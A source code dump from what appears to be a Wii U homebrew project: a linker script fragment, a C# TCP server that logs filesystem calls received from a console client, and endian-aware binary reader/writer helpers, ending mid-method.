/* Tell linker to not garbage collect this section as it is not referenced anywhere */
KEEP(*(.kernel_code*));
}
.data : {
*(.rodata*);
*(.data*);
}
/DISCARD/ : {
*(*);
}
}
ASSERT((SIZEOF(.text) + SIZEOF(.data)) < 0x1000, "Memory overlapping with main elf.");
================================================
FILE: server/src/Program.cs
================================================
using System;
using System.IO;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Collections.Generic;
namespace cafiine_server
{
class Program
{
// Command bytes
// com
public const byte BYTE_NORMAL = 0xff;
public const byte BYTE_SPECIAL = 0xfe;
public const byte BYTE_OK = 0xfd;
public const byte BYTE_PING = 0xfc;
public const byte BYTE_LOG_STR = 0xfb;
public const byte BYTE_DISCONNECT = 0xfa;
// sd
public const byte BYTE_MOUNT_SD = 0xe0;
public const byte BYTE_MOUNT_SD_OK = 0xe1;
public const byte BYTE_MOUNT_SD_BAD = 0xe2;
// replacement
public const byte BYTE_STAT = 0x00;
public const byte BYTE_STAT_ASYNC = 0x01;
public const byte BYTE_OPEN_FILE = 0x02;
public const byte BYTE_OPEN_FILE_ASYNC = 0x03;
public const byte BYTE_OPEN_DIR = 0x04;
public const byte BYTE_OPEN_DIR_ASYNC = 0x05;
public const byte BYTE_CHANGE_DIR = 0x06;
public const byte BYTE_CHANGE_DIR_ASYNC = 0x07;
public const byte BYTE_MAKE_DIR = 0x08;
public const byte BYTE_MAKE_DIR_ASYNC = 0x09;
public const byte BYTE_RENAME = 0x0a;
public const byte BYTE_RENAME_ASYNC = 0x0b;
public const byte BYTE_REMOVE = 0x0c;
public const byte BYTE_REMOVE_ASYNC = 0x0d;
// log
public const byte BYTE_CLOSE_FILE = 0x40;
public const byte BYTE_CLOSE_FILE_ASYNC = 0x41;
public const byte BYTE_CLOSE_DIR = 0x42;
public const byte BYTE_CLOSE_DIR_ASYNC = 0x43;
public const byte BYTE_FLUSH_FILE = 0x44;
public const byte BYTE_GET_ERROR_CODE_FOR_VIEWER = 0x45;
public const byte BYTE_GET_LAST_ERROR = 0x46;
public const byte BYTE_GET_MOUNT_SOURCE = 0x47;
public const byte BYTE_GET_MOUNT_SOURCE_NEXT = 0x48;
public const byte BYTE_GET_POS_FILE = 0x49;
public const byte BYTE_SET_POS_FILE = 0x4A;
public const byte BYTE_GET_STAT_FILE = 0x4B;
public const byte BYTE_EOF = 0x4C;
public const byte BYTE_READ_FILE = 0x4D;
public const byte BYTE_READ_FILE_ASYNC = 0x4E;
public const byte BYTE_READ_FILE_WITH_POS = 0x4F;
public const byte BYTE_READ_DIR = 0x50;
public const byte BYTE_READ_DIR_ASYNC = 0x51;
public const byte BYTE_GET_CWD = 0x52;
public const byte BYTE_SET_STATE_CHG_NOTIF = 0x53;
public const byte BYTE_TRUNCATE_FILE = 0x54;
public const byte BYTE_WRITE_FILE = 0x55;
public const byte BYTE_WRITE_FILE_WITH_POS = 0x56;
public const byte BYTE_CREATE_THREAD = 0x60;
// Other defines
public const int FS_MAX_ENTNAME_SIZE = 256;
public const int FS_MAX_ENTNAME_SIZE_PAD = 0;
public const int FS_MAX_LOCALPATH_SIZE = 511;
public const int FS_MAX_MOUNTPATH_SIZE = 128;
// Logs folder
public static string logs_root = "logs";
// Port to listen on
public static short port = 7332;
static void Main(string[] args)
{
// Check if logs folder
if (!Directory.Exists(logs_root))
{
Console.WriteLine("Logs directory '{0}' does not exist, creating it ...", logs_root);
Directory.CreateDirectory (logs_root);
}
// Delete logs
System.IO.DirectoryInfo downloadedMessageInfo = new DirectoryInfo(logs_root);
foreach (FileInfo file in downloadedMessageInfo.GetFiles())
{
file.Delete();
}
// Start server
string name = "[listener]";
try
{
TcpListener listener = new TcpListener(IPAddress.Any, port);
listener.Start();
Console.WriteLine(name + " Listening on " + port);
int index = 0;
while (true)
{
TcpClient client = listener.AcceptTcpClient();
Console.WriteLine("connected");
Thread thread = new Thread(Handle);
thread.Name = "[" + index.ToString() + "]";
thread.Start(client);
index++;
}
}
catch (Exception e)
{
Console.WriteLine(name + " " + e.Message);
}
Console.WriteLine(name + " Exit");
}
static void Log(StreamWriter log, String str)
{
log.WriteLine(str);
log.Flush();
Console.WriteLine(str);
}
static void Handle(object client_obj)
{
string name = Thread.CurrentThread.Name;
StreamWriter log = null;
try
{
TcpClient client = (TcpClient)client_obj;
using (NetworkStream stream = client.GetStream())
{
EndianBinaryReader reader = new EndianBinaryReader(stream);
EndianBinaryWriter writer = new EndianBinaryWriter(stream);
// Log connection
Console.WriteLine(name + " Accepted connection from client " + client.Client.RemoteEndPoint.ToString());
// Create log file for current thread
log = new StreamWriter(Path.Combine(logs_root, DateTime.Now.ToString("yyyy-MM-dd") + "-" + name + ".txt"));
log.WriteLine(name + " Accepted connection from client " + client.Client.RemoteEndPoint.ToString());
writer.Write(BYTE_SPECIAL);
while (true)
{
byte cmd_byte = reader.ReadByte();
switch (cmd_byte)
{
// cmd
case BYTE_PING:
{
int val1 = reader.ReadInt32();
int val2 = reader.ReadInt32();
Log(log, name + " PING RECEIVED with values : " + val1.ToString() + " - " + val2.ToString());
break;
}
case BYTE_LOG_STR:
{
int len_str = reader.ReadInt32();
string str = reader.ReadString(Encoding.ASCII, len_str - 1);
if (reader.ReadByte() != 0) throw new InvalidDataException();
Log(log, name + " LogString =>(\"" + str + "\")");
break;
}
case BYTE_DISCONNECT:
{
Log(log, name + " DISCONNECT");
break;
}
// sd
case BYTE_MOUNT_SD:
{
Log(log, name + " Trying to mount SD card");
break;
}
case BYTE_MOUNT_SD_OK:
{
Log(log, name + " SD card mounted !");
break;
}
case BYTE_MOUNT_SD_BAD:
{
Log(log, name + " Can't mount SD card");
break;
}
// replacement
case BYTE_STAT:
case BYTE_STAT_ASYNC:
{
int len_path = reader.ReadInt32();
string path = reader.ReadString(Encoding.ASCII, len_path - 1);
if (reader.ReadByte() != 0) throw new InvalidDataException();
if (cmd_byte == BYTE_STAT)
Log(log, name + " FSGetStat(\"" + path + "\")");
else
Log(log, name + " FSGetStatAsync(\"" + path + "\")");
break;
}
case BYTE_OPEN_FILE:
case BYTE_OPEN_FILE_ASYNC:
{
int len_str = reader.ReadInt32();
string str = reader.ReadString(Encoding.ASCII, len_str - 1);
if (reader.ReadByte() != 0) throw new InvalidDataException();
if (cmd_byte == BYTE_OPEN_FILE)
Log(log, name + " FSOpenFile(\"" + str + "\")");
else
Log(log, name + " FSOpenFileAsync(\"" + str + "\")");
break;
}
case BYTE_OPEN_DIR:
case BYTE_OPEN_DIR_ASYNC:
{
int len_path = reader.ReadInt32();
string path = reader.ReadString(Encoding.ASCII, len_path - 1);
if (reader.ReadByte() != 0) throw new InvalidDataException();
if (cmd_byte == BYTE_OPEN_DIR)
Log(log, name + " FSOpenDir(\"" + path + "\")");
else
Log(log, name + " FSOpenDirAsync(\"" + path + "\")");
break;
}
case BYTE_CHANGE_DIR:
case BYTE_CHANGE_DIR_ASYNC:
{
int len_path = reader.ReadInt32();
string path = reader.ReadString(Encoding.ASCII, len_path - 1);
if (reader.ReadByte() != 0) throw new InvalidDataException();
if (cmd_byte == BYTE_CHANGE_DIR)
Log(log, name + " FSChangeDir(\"" + path + "\")");
else
Log(log, name + " FSChangeDirAsync(\"" + path + "\")");
break;
}
case BYTE_MAKE_DIR:
case BYTE_MAKE_DIR_ASYNC:
{
int len_path = reader.ReadInt32();
string path = reader.ReadString(Encoding.ASCII, len_path - 1);
if (reader.ReadByte() != 0) throw new InvalidDataException();
if (cmd_byte == BYTE_CHANGE_DIR)
Log(log, name + " FSMakeDir(\"" + path + "\")");
else
Log(log, name + " FSMakeDirAsync(\"" + path + "\")");
break;
}
case BYTE_RENAME:
case BYTE_RENAME_ASYNC:
{
int len_path = reader.ReadInt32();
string path = reader.ReadString(Encoding.ASCII, len_path - 1);
if (reader.ReadByte() != 0) throw new InvalidDataException();
if (cmd_byte == BYTE_CHANGE_DIR)
Log(log, name + " FSRename(\"" + path + "\")");
else
Log(log, name + " FSRenameAsync(\"" + path + "\")");
break;
}
case BYTE_REMOVE:
case BYTE_REMOVE_ASYNC:
{
int len_path = reader.ReadInt32();
string path = reader.ReadString(Encoding.ASCII, len_path - 1);
if (reader.ReadByte() != 0) throw new InvalidDataException();
if (cmd_byte == BYTE_CHANGE_DIR)
Log(log, name + " FSRemove(\"" + path + "\")");
else
Log(log, name + " FSRemoveAsync(\"" + path + "\")");
break;
}
// Log
case BYTE_CLOSE_FILE:
{
Log(log, name + " FSCloseFile()");
break;
}
case BYTE_CLOSE_FILE_ASYNC:
{
Log(log, name + " FSCloseFileAsync()");
break;
}
case BYTE_CLOSE_DIR:
{
Log(log, name + " FSCloseDir()");
break;
}
case BYTE_CLOSE_DIR_ASYNC:
{
Log(log, name + " FSCloseDirAsync()");
break;
}
case BYTE_FLUSH_FILE:
{
Log(log, name + " FSFlushFile()");
break;
}
case BYTE_GET_ERROR_CODE_FOR_VIEWER:
{
Log(log, name + " FSGetErrorCodeForViewer()");
break;
}
case BYTE_GET_LAST_ERROR:
{
Log(log, name + " FSGetLastError()");
break;
}
case BYTE_GET_MOUNT_SOURCE:
{
Log(log, name + " FsGetMountSource()");
break;
}
case BYTE_GET_MOUNT_SOURCE_NEXT:
{
Log(log, name + " FsGetMountSourceNext()");
break;
}
case BYTE_GET_POS_FILE:
{
Log(log, name + " FSGetPos()");
break;
}
case BYTE_SET_POS_FILE:
{
Log(log, name + " FSSetPos()");
break;
}
case BYTE_GET_STAT_FILE:
{
Log(log, name + " FSGetStatFile()");
break;
}
case BYTE_EOF:
{
Log(log, name + " FSGetEof()");
break;
}
case BYTE_READ_FILE:
{
Log(log, name + " FSReadFile()");
break;
}
case BYTE_READ_FILE_ASYNC:
{
Log(log, name + " FSReadFileAsync()");
break;
}
case BYTE_READ_FILE_WITH_POS:
{
Log(log, name + " FSReadFileWithPos()");
break;
}
case BYTE_READ_DIR:
{
Log(log, name + " FSReadDir()");
break;
}
case BYTE_READ_DIR_ASYNC:
{
Log(log, name + " FSReadDirAsync()");
break;
}
case BYTE_GET_CWD:
{
Log(log, name + " FSGetCwd()");
break;
}
case BYTE_SET_STATE_CHG_NOTIF:
{
Log(log, name + " FSSetStateChangeNotification()");
break;
}
case BYTE_TRUNCATE_FILE:
{
Log(log, name + " FSTruncateFile()");
break;
}
case BYTE_WRITE_FILE:
{
Log(log, name + " FSWriteFile()");
break;
}
case BYTE_WRITE_FILE_WITH_POS:
{
Log(log, name + " FSWriteFileWithPos()");
break;
}
case BYTE_CREATE_THREAD:
{
Log(log, name + " CreateThread()");
break;
}
default:
throw new InvalidDataException();
}
}
}
}
catch (Exception e)
{
if (log != null)
Log(log, name + " " + e.Message);
else
Console.WriteLine(name + " " + e.Message);
}
finally
{
if (log != null)
log.Close();
}
Console.WriteLine(name + " Exit");
}
}
}
================================================
FILE: server/src/Properties/AssemblyInfo.cs
================================================
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("loadiine_server")]
[assembly: AssemblyDescription("")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("")]
[assembly: AssemblyProduct("loadiine_server")]
[assembly: AssemblyCopyright("")]
[assembly: AssemblyTrademark("")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("fc022709-becf-498f-9a2a-dc3543457b0d")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
================================================
FILE: server/src/System/IO/EndianBinaryReader.cs
================================================
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace System.IO
{
sealed class EndianBinaryReader : IDisposable
{
private bool disposed;
private byte[] buffer;
private delegate void ArrayReverse(byte[] array, int count);
private static readonly ArrayReverse[] fastReverse = new ArrayReverse[] { null, null, ArrayReverse2, null, ArrayReverse4, null, null, null, ArrayReverse8 };
private static Dictionary>> parserCache = new Dictionary>>();
public Stream BaseStream { get; private set; }
public Endianness Endianness { get; set; }
public static Endianness SystemEndianness { get { return BitConverter.IsLittleEndian ? Endianness.LittleEndian : Endianness.BigEndian; } }
private bool Reverse { get { return SystemEndianness != Endianness; } }
public EndianBinaryReader(Stream baseStream)
: this(baseStream, Endianness.BigEndian)
{ }
public EndianBinaryReader(Stream baseStream, Endianness endianness)
{
if (baseStream == null) throw new ArgumentNullException("baseStream");
if (!baseStream.CanRead) throw new ArgumentException("base stream is not readable.", "baseStream");
BaseStream = baseStream;
Endianness = endianness;
}
~EndianBinaryReader()
{
Dispose(false);
}
///
/// Fills the buffer with bytes bytes, possibly reversing every stride. Bytes must be a multiple of stide. Stide must be 1 or 2 or 4 or 8.
///
///
///
private void FillBuffer(int bytes, int stride)
{
if (buffer == null || buffer.Length < bytes)
buffer = new byte[bytes];
for (int i = 0, read = 0; i < bytes; i += read)
{
read = BaseStream.Read(buffer, i, bytes - i);
if (read <= 0) throw new EndOfStreamException();
}
if (Reverse)
{
if (fastReverse[stride] != null)
fastReverse[stride](buffer, bytes);
else
for (int i = 0; i < bytes; i += stride)
{
Array.Reverse(buffer, i, stride);
}
}
}
private static void ArrayReverse2(byte[] array, int arrayLength)
{
byte temp;
while (arrayLength > 0)
{
temp = array[arrayLength - 2];
array[arrayLength - 2] = array[arrayLength - 1];
array[arrayLength - 1] = temp;
arrayLength -= 2;
}
}
private static void ArrayReverse4(byte[] array, int arrayLength)
{
byte temp;
while (arrayLength > 0)
{
temp = array[arrayLength - 3];
array[arrayLength - 3] = array[arrayLength - 2];
array[arrayLength - 2] = temp;
temp = array[arrayLength - 4];
array[arrayLength - 4] = array[arrayLength - 1];
array[arrayLength - 1] = temp;
arrayLength -= 4;
}
}
private static void ArrayReverse8(byte[] array, int arrayLength)
{
byte temp;
while (arrayLength > 0)
{
temp = array[arrayLength - 5];
array[arrayLength - 5] = array[arrayLength - 4];
array[arrayLength - 4] = temp;
temp = array[arrayLength - 6];
array[arrayLength - 6] = array[arrayLength - 3];
array[arrayLength - 3] = temp;
temp = array[arrayLength - 7];
array[arrayLength - 7] = array[arrayLength - 2];
array[arrayLength - 2] = temp;
temp = array[arrayLength - 8];
array[arrayLength - 8] = array[arrayLength - 1];
array[arrayLength - 1] = temp;
arrayLength -= 8;
}
}
public byte ReadByte()
{
FillBuffer(1, 1);
return buffer[0];
}
public byte[] ReadBytes(int count)
{
byte[] temp;
FillBuffer(count, 1);
temp = new byte[count];
Array.Copy(buffer, 0, temp, 0, count);
return temp;
}
public sbyte ReadSByte()
{
FillBuffer(1, 1);
unchecked
{
return (sbyte)buffer[0];
}
}
public sbyte[] ReadSBytes(int count)
{
sbyte[] temp;
temp = new sbyte[count];
FillBuffer(count, 1);
unchecked
{
for (int i = 0; i < count; i++)
{
temp[i] = (sbyte)buffer[i];
}
}
return temp;
}
public char ReadChar(Encoding encoding)
{
int size;
if (encoding == null) throw new ArgumentNullException("encoding");
size = GetEncodingSize(encoding);
FillBuffer(size, size);
return encoding.GetChars(buffer, 0, size)[0];
}
public char[] ReadChars(Encoding encoding, int count)
{
int size;
if (encoding == null) throw new ArgumentNullException("encoding");
size = GetEncodingSize(encoding);
FillBuffer(size * count, size);
return encoding.GetChars(buffer, 0, size * count);
}
private static int GetEncodingSize(Encoding encoding)
{
if (encoding == Encoding.UTF8 || encoding == Encoding.ASCII)
return 1;
else if (encoding == Encoding.Unicode || encoding == Encoding.BigEndianUnicode)
return 2;
return 1;
}
public string ReadStringNT(Encoding encoding)
{
string text;
text = "";
do
{
text += ReadChar(encoding);
} while (!text.EndsWith("\0", StringComparison.Ordinal));
return text.Remove(text.Length - 1);
}
public string ReadString(Encoding encoding, int count)
{
return new string(ReadChars(encoding, count));
}
public double ReadDouble()
{
const int size = sizeof(double);
FillBuffer(size, size);
return BitConverter.ToDouble(buffer, 0);
}
public double[] ReadDoubles(int count)
{
const int size = sizeof(double);
double[] temp;
temp = new double[count];
FillBuffer(size * count, size);
for (int i = 0; i < count; i++)
{
temp[i] = BitConverter.ToDouble(buffer, size * i);
}
return temp;
}
public Single ReadSingle()
{
const int size = sizeof(Single);
FillBuffer(size, size);
return BitConverter.ToSingle(buffer, 0);
}
public Single[] ReadSingles(int count)
{
const int size = sizeof(Single);
Single[] temp;
temp = new Single[count];
FillBuffer(size * count, size);
for (int i = 0; i < count; i++)
{
temp[i] = BitConverter.ToSingle(buffer, size * i);
}
return temp;
}
public Int32 ReadInt32()
{
const int size = sizeof(Int32);
FillBuffer(size, size);
return BitConverter.ToInt32(buffer, 0);
}
public Int32[] ReadInt32s(int count)
{
const int size = sizeof(Int32);
Int32[] temp;
temp = new Int32[count];
FillBuffer(size * count, size);
for (int i = 0; i < count; i++)
{
temp[i] = BitConverter.ToInt32(buffer, size * i);
}
return temp;
}
public Int64 ReadInt64()
{
const int size = sizeof(Int64);
FillBuffer(size, size);
return BitConverter.ToInt64(buffer, 0);
}
public Int64[] ReadInt64s(int count)
{
const int size = sizeof(Int64);
Int64[] temp;
temp = new Int64[count];
FillBuffer(size * count, size);
for (int i = 0; i < count; i++)
{
temp[i] = BitConverter.ToInt64(buffer, size * i);
}
return temp;
}
public Int16 ReadInt16()
{
const int size = sizeof(Int16);
FillBuffer(size, size);
return BitConverter.ToInt16(buffer, 0);
}
public Int16[] ReadInt16s(int count)
{
const int size = sizeof(Int16);
Int16[] temp;
temp = new Int16[count];
FillBuffer(size * count, size);
for (int i = 0; i < count; i++)
{
temp[i] = BitConverter.ToInt16(buffer, size * i);
}
return temp;
}
public UInt16 ReadUInt16()
{
const int size = sizeof(UInt16);
FillBuffer(size, size);
return BitConverter.ToUInt16(buffer, 0);
}
public UInt16[] ReadUInt16s(int count)
{
const int size = sizeof(UInt16);
UInt16[] temp;
temp = new UInt16[count];
FillBuffer(size * count, size);
for (int i = 0; i < count; i++)
{
temp[i] = BitConverter.ToUInt16(buffer, size * i);
}
return temp;
}
public UInt32 ReadUInt32()
{
const int size = sizeof(UInt32);
FillBuffer(size, size);
return BitConverter.ToUInt32(buffer, 0);
}
public UInt32[] ReadUInt32s(int count)
{
const int size = sizeof(UInt32);
UInt32[] temp;
temp = new UInt32[count];
FillBuffer(size * count, size);
for (int i = 0; i < count; i++)
{
temp[i] = BitConverter.ToUInt32(buffer, size * i);
}
return temp;
}
public UInt64 ReadUInt64()
{
const int size = sizeof(UInt64);
FillBuffer(size, size);
return BitConverter.ToUInt64(buffer, 0);
}
public UInt64[] ReadUInt64s(int count)
{
const int size = sizeof(UInt64);
UInt64[] temp;
temp = new UInt64[count];
FillBuffer(size * count, size);
for (int i = 0; i < count; i++)
{
temp[i] = BitConverter.ToUInt64(buffer, size * i);
}
return temp;
}
private List> GetParser(Type type)
{
List> parser;
/* A parser describes how to read in a type in an Endian
* appropriate manner. Basically it describes as series of calls to
* the Read* methods above to parse the structure.
* The parser runs through each element in the list in order. If
* the TypeCode is not Empty then it reads an array of values
* according to the integer. Otherwise it skips a number of bytes. */
try
{
parser = parserCache[type];
}
catch (KeyNotFoundException)
{
parser = new List>();
if (Endianness != SystemEndianness)
{
int pos, sz;
pos = 0;
foreach (var item in type.GetFields())
{
int off = Marshal.OffsetOf(type, item.Name).ToInt32();
if (off != pos)
{
parser.Add(new Tuple(off - pos, TypeCode.Empty));
pos = off;
}
switch (Type.GetTypeCode(item.FieldType))
{
case TypeCode.Byte:
case TypeCode.SByte:
pos += 1;
parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType)));
break;
case TypeCode.Int16:
case TypeCode.UInt16:
pos += 2;
parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType)));
break;
case TypeCode.Int32:
case TypeCode.UInt32:
case TypeCode.Single:
pos += 4;
parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType)));
break;
case TypeCode.Int64:
case TypeCode.UInt64:
case TypeCode.Double:
pos += 8;
parser.Add(new Tuple(1, Type.GetTypeCode(item.FieldType)));
break;
case TypeCode.Object:
if (item.FieldType.IsArray)
{
/* array */
Type elementType;
MarshalAsAttribute[] attrs;
MarshalAsAttribute attr;
attrs = (MarshalAsAttribute[])item.GetCustomAttributes(typeof(MarshalAsAttribute), false);
if (attrs.Length != 1)
throw new ArgumentException(String.Format("Field `{0}' is an array without a MarshalAs attribute.", item.Name), "type");
attr = attrs[0];
if (attr.Value != UnmanagedType.ByValArray)
throw new ArgumentException(String.Format("Field `{0}' is not a ByValArray.", item.Name), "type");
elementType = item.FieldType.GetElementType();
switch (Type.GetTypeCode(elementType))
{
case TypeCode.Byte:
case TypeCode.SByte:
pos += 1 * attr.SizeConst;
parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType)));
break;
case TypeCode.Int16:
case TypeCode.UInt16:
pos += 2 * attr.SizeConst;
parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType)));
break;
case TypeCode.Int32:
case TypeCode.UInt32:
case TypeCode.Single:
pos += 4 * attr.SizeConst;
parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType)));
break;
case TypeCode.Int64:
case TypeCode.UInt64:
case TypeCode.Double:
pos += 8 * attr.SizeConst;
parser.Add(new Tuple(attr.SizeConst, Type.GetTypeCode(elementType)));
break;
case TypeCode.Object:
/* nested structure */
for (int i = 0; i < attr.SizeConst; i++)
{
pos += Marshal.SizeOf(elementType);
parser.AddRange(GetParser(elementType));
}
break;
default:
break;
}
}
else
{
/* nested structure */
pos += Marshal.SizeOf(item.FieldType);
parser.AddRange(GetParser(item.FieldType));
}
break;
default:
throw new NotImplementedException();
}
}
sz = Marshal.SizeOf(type);
if (sz != pos)
{
parser.Add(new Tuple(sz - pos, TypeCode.Empty));
}
}
else
{
int sz;
sz = Marshal.SizeOf(type);
parser.Add(new Tuple(sz, TypeCode.Byte));
}
parserCache.Add(type, parser);
}
return parser;
}
private void RunParser(List> parser, BinaryWriter wr)
{
foreach (var item in parser)
{
/* Assumption: Types of the same size can be interchanged. */
switch (item.Item2)
{
case TypeCode.Byte:
case TypeCode.SByte:
wr.Write(ReadBytes(item.Item1), 0, item.Item1);
break;
case TypeCode.Int16:
case TypeCode.UInt16:
foreach (var val in ReadInt16s(item.Item1))
wr.Write(val);
break;
case TypeCode.Int32:
case TypeCode.UInt32:
case TypeCode.Single:
foreach (var val in ReadInt32s(item.Item1))
wr.Write(val);
break;
case TypeCode.Int64:
case TypeCode.UInt64:
case TypeCode.Double:
foreach (var val in ReadInt64s(item.Item1))
wr.Write(val);
break;
case TypeCode.Empty:
BaseStream.Seek(item.Item1, SeekOrigin.Current);
wr.BaseStream.Seek(item.Item1, SeekOrigin.Current);
break;
default:
throw new NotImplementedException();
}
}
}
public object ReadStructure(Type type)
{
List> parser;
object result;
parser = GetParser(type);
using (var ms = new MemoryStream())
{
using (var wr = new BinaryWriter(ms))
{
RunParser(parser, wr);
}
result = Marshal.PtrToStructure(Marshal.UnsafeAddrOfPinnedArrayElement(ms.ToArray(), 0), type);
}
return result;
}
public Array ReadStructures(Type type, int count)
{
List> parser;
Array result;
parser = GetParser(type);
result = Array.CreateInstance(type, count);
using (var ms = new MemoryStream())
{
using (var wr = new BinaryWriter(ms))
{
for (int i = 0; i < count; i++)
{
ms.Seek(0, SeekOrigin.Begin);
RunParser(parser, wr);
result.SetValue(Marshal.PtrToStructure(Marshal.UnsafeAddrOfPinnedArrayElement(ms.ToArray(), 0), type), i);
}
}
}
return result;
}
public void Close()
{
BaseStream.Close();
}
public void Dispose()
{
Dispose(true);
GC.SuppressFinalize(this);
}
private void Dispose(bool disposing)
{
if (!disposed)
{
if (disposing)
{
}
BaseStream = null;
buffer = null;
disposed = true;
}
}
}
enum Endianness
{
BigEndian,
LittleEndian,
}
}
================================================
FILE: server/src/System/IO/EndianBinaryWriter.cs
================================================
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace System.IO
{
sealed class EndianBinaryWriter : IDisposable
{
private bool disposed;
private byte[] buffer;
private delegate void ArrayReverse(byte[] array, int count);
private static readonly ArrayReverse[] fastReverse = new ArrayReverse[] { null, null, ArrayReverse2, null, ArrayReverse4, null, null, null, ArrayReverse8 };
private static Dictionary>> parserCache = new Dictionary>>();
public Stream BaseStream { get; private set; }
public Endianness Endianness { get; set; }
public static Endianness SystemEndianness { get { return BitConverter.IsLittleEndian ? Endianness.LittleEndian : Endianness.BigEndian; } }
private bool Reverse { get { return SystemEndianness != Endianness; } }
public EndianBinaryWriter(Stream baseStream)
: this(baseStream, Endianness.BigEndian)
{ }
public EndianBinaryWriter(Stream baseStream, Endianness endianness)
{
if (baseStream == null) throw new ArgumentNullException("baseStream");
if (!baseStream.CanWrite) throw new ArgumentException("base stream is not writeable", "baseStream");
BaseStream = baseStream;
Endianness = endianness;
}
~EndianBinaryWriter()
{
Dispose(false);
}
private void WriteBuffer(int bytes, int stride)
{
if (Reverse)
{
if (fastReverse[stride] != null)
fastReverse[stride](buffer, bytes);
else
for (int i = 0; i < bytes; i += stride)
{
Array.Reverse(buffer, i, stride);
}
}
BaseStream.Write(buffer, 0, bytes);
}
private static void ArrayReverse2(byte[] array, int arrayLength)
{
byte temp;
while (arrayLength > 0)
{
temp = array[arrayLength - 2];
array[arrayLength - 2] = array[arrayLength - 1];
array[arrayLength - 1] = temp;
arrayLength -= 2;
}
}
private static void ArrayReverse4(byte[] array, int arrayLength)
{
byte temp;
while (arrayLength > 0)
{
temp = array[arrayLength - 3];
array[arrayLength - 3] = array[arrayLength - 2];
array[arrayLength - 2] = temp;
temp = array[arrayLength - 4];
array[arrayLength - 4] = array[arrayLength - 1];
array[arrayLength - 1] = temp;
arrayLength -= 4;
}
}
private static void ArrayReverse8(byte[] array, int arrayLength)
{
byte temp;
while (arrayLength > 0)
{
temp = array[arrayLength - 5];
array[arrayLength - 5] = array[arrayLength - 4];
array[arrayLength - 4] = temp;
temp = array[arrayLength - 6];
array[arrayLength - 6] = array[arrayLength - 3];
array[arrayLength - 3] = temp;
temp = array[arrayLength - 7];
array[arrayLength - 7] = array[arrayLength - 2];
array[arrayLength - 2] = temp;
temp = array[arrayLength - 8];
array[arrayLength - 8] = array[arrayLength - 1];
array[arrayLength - 1] = temp;
arrayLength -= 8;
}
}
private void CreateBuffer(int size)
{
if (buffer == null || buffer.Length < size)
buffer = new byte[size];
}
public void Write(byte value)
{
CreateBuffer(1);
buffer[0] = value;
WriteBuffer(1, 1);
}
public void Write(byte[] value, int offset, int count)
{
CreateBuffer(count);
Array.Copy(value, offset, buffer, 0, count);
WriteBuffer(count, 1);
}
public void Write(sbyte value)
{
CreateBuffer(1);
unchecked
{
buffer[0] = (byte)value;
}
WriteBuffer(1, 1);
}
public void Write(sbyte[] value, int offset, int count)
{
CreateBuffer(count);
unchecked
{
for (int i = 0; i < count; i++)
{
buffer[i] = (byte)value[i + offset];
}
}
WriteBuffer(count, 1);
}
public void Write(char value, Encoding encoding)
{
int size;
if (encoding == null) throw new ArgumentNullException("encoding");
size = GetEncodingSize(encoding);
CreateBuffer(size);
Array.Copy(encoding.GetBytes(new string(value, 1)), 0, buffer, 0, size);
WriteBuffer(size, size);
}
public void Write(char[] value, int offset, int count, Encoding encoding)
{
int size;
if (encoding == null) throw new ArgumentNullException("encoding");
size = GetEncodingSize(encoding);
CreateBuffer(size * count);
Array.Copy(encoding.GetBytes(value, offset, count), 0, buffer, 0, count * size);
WriteBuffer(size * count, size);
}
private static int GetEncodingSize(Encoding encoding)
{
if (encoding == Encoding.UTF8 || encoding == Encoding.ASCII)
return 1;
else if (encoding == Encoding.Unicode || encoding == Encoding.BigEndianUnicode)
return 2;
return 1;
}
public void Write(string value,Encoding encoding, bool nullTerminated)
{
Write(value.ToCharArray(), 0, value.Length, encoding);
if (nullTerminated)
Write('\0', encoding);
}
public void Write(double value)
{
const int size = sizeof(double);
CreateBuffer(size);
Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);
WriteBuffer(size, size);
}
public void Write(double[] value, int offset, int count)
{
const int size = sizeof(double);
CreateBuffer(size * count);
for (int i = 0; i < count; i++)
{
Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);
}
WriteBuffer(size * count, size);
}
public void Write(Single value)
{
const int size = sizeof(Single);
CreateBuffer(size);
Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);
WriteBuffer(size, size);
}
public void Write(Single[] value, int offset, int count)
{
const int size = sizeof(Single);
CreateBuffer(size * count);
for (int i = 0; i < count; i++)
{
Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);
}
WriteBuffer(size * count, size);
}
public void Write(Int32 value)
{
const int size = sizeof(Int32);
CreateBuffer(size);
Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);
WriteBuffer(size, size);
}
public void Write(Int32[] value, int offset, int count)
{
const int size = sizeof(Int32);
CreateBuffer(size * count);
for (int i = 0; i < count; i++)
{
Array.Copy(BitConverter.GetBytes(value[i + offset]), 0, buffer, i * size, size);
}
WriteBuffer(size * count, size);
}
public void Write(Int64 value)
{
const int size = sizeof(Int64);
CreateBuffer(size);
Array.Copy(BitConverter.GetBytes(value), 0, buffer, 0, size);
WriteBuffer(size, size);
}
public void Write(Int64[] value, int offset, int count)
{
const int size = sizeof(Int64);
CreateBuffer(size * count);
